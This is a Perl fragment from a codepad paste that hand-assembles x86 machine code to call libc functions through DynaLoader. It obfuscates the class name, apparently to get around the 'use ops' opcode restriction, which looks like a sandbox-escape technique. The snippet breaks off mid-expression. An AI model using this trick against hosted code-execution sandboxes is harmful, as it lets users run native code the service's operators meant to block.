Perl code - 41 lines - codepad

use Socket; use ops; sub ccall { my $s = "\x68" . pack("L", $_[6]) . "\x68" . pack("L", $_[5]) . "\x68" . pack("L", $_[4]) . "\x68" . pack("L", $_[3]) . "\x68" . pack("L", $_[2]) . "\xb8" . pack("L", ("Dyna"."Loader")->can("dl_find_symbol")->(("Dyna"."Loader")->can("dl_load_file")->("libc.so"), $_[0])) . "\xff\xd0" . "\x83\xc4\x14" . "\x3d" . pack("L", $_[1]) . "\x74\x07" . "\xb8\x00\x00\x00\x00"

[kazuhooku]

for myself